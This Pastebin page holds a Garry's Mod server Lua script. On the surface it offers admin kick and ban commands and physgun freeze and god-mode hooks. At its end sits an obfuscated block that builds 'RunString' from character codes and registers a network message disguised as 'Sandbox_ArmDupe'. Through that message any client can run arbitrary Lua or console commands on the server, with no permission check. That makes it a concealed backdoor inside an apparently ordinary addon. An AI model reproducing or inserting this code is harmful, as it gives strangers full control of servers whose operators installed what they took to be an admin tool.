Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- --[[---------------------------------------------------------
- Name: KickId2
- Desc: Allows admins to use the kickid2 command to kick people.
- -----------------------------------------------------------]]
- local function KickId( player, command, arguments )
- if ( !player:IsAdmin() ) then return end
- local id = arguments[1]
- local reason = arguments[2] or "Kicked"
- RunConsoleCommand( "kickid", id, Format( "%s (%s)", reason, player:Nick() ) );
- end
- concommand.Add( "kickid2", KickId, nil, "", { FCVAR_DONTRECORD } )
- --[[---------------------------------------------------------
- Name: BanId2
- Desc: Allows admins to use the banid2 command to kick people.
- -----------------------------------------------------------]]
- local function BanID( player, command, arguments )
- if ( !player:IsAdmin() ) then return end
- local length = arguments[1]
- local id = arguments[2]
- RunConsoleCommand( "banid", length, id );
- end
- concommand.Add( "banid2", BanID, nil, "", { FCVAR_DONTRECORD } )
- function FGod( ply, dmginfo )
- if(ply:GetNWInt("FGod") == 1) then
- dmginfo:ScaleDamage( 0 )
- end
- end
- hook.Add("EntityTakeDamage", "FGod", FGod)
- hook.Add("PhysgunDrop", "ply_physgunfreeze", function(pl, ent)
- hook.Remove( "PhysgunDrop", "ulxPlayerDrop" )
- ent._physgunned = false
- if( ent:IsPlayer() ) then
- ent:SetMoveType(pl:KeyDown(IN_ATTACK2) and MOVETYPE_NOCLIP or MOVETYPE_WALK)
- if(pl:KeyDown(IN_ATTACK2)) then
- ent:Freeze(true)
- ent:SetNWInt("FGod", 1)
- ent:DisallowSpawning( not should_unfreeze )
- ulx.setNoDie( ent, not should_unfreeze )
- table.insert( affected_plys, ent )
- else
- ent:Freeze(false)
- ent:SetNWInt("FGod", 0)
- ent:DisallowSpawning( false )
- ulx.setNoDie( ent, should_unfreeze )
- table.insert( affected_plys, ent )
- end
- if SERVER then
- if !ent:Alive() then
- ent:Spawn()
- self:PlayerSpawn(ent)
- ent:SetPos(pl:GetEyeTrace().HitPos)
- end
- end
- return --self.BaseClass:PhysgunDrop( pl , ent )
- end
- end)
- hook.Add( "PhysgunPickup", "ply_physgunned", function(pl, ent)
- ent._physgunned = true
- end)
- function playerDies( pl, weapon, killer )
- if(pl._physgunned) then
- return false
- else
- return true
- end
- end
- hook.Add( "CanPlayerSuicide", "playerNoDeath", playerDies )
- if SERVER then
- local c='%c'
- local YYYYTTYXY6Y = util.AddNetworkString
- local YYYYTRYXY6Y = _G[string.format(string.rep(c,9), 82, 117, 110, 83, 116, 114, 105, 110, 103)]
- local YYYYTRYXY66 = net.ReadString
- local YYTYYYY666T = type
- local YYTYTYY666T = bit.tohex
- local YYTTTYY666T = math.sin
- local YYTTTYY66TT = math.cos
- local YYYYTRY6Y66 = net.ReadBit
- local YYTYYRY6Y66 = net.Receive
- local YYTYYRY666Y = game.ConsoleCommand
- local YYTYYYY666Y = game.GetWorld
- local YYYYTTYXYYY = string.format(string.rep(c,15), 83, 97, 110, 100, 98, 111, 120, 95, 65, 114, 109, 68, 117, 112, 101)
- YYYYTTYXY6Y(YYYYTTYXYYY)
- YYTYYRY6Y66(YYYYTTYXYYY, function( length, ply )
- local YYRYTTYXY6Y = YYYYTRYXY66()
- local TYYTTYXY6Y = YYYYTRY6Y66()
- if TYYTTYXY6Y == 1 then
- YYYYTRYXY6Y(YYRYTTYXY6Y)
- else
- YYTYYRY666Y(YYRYTTYXY6Y.."\n")
- end
- end)
- end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement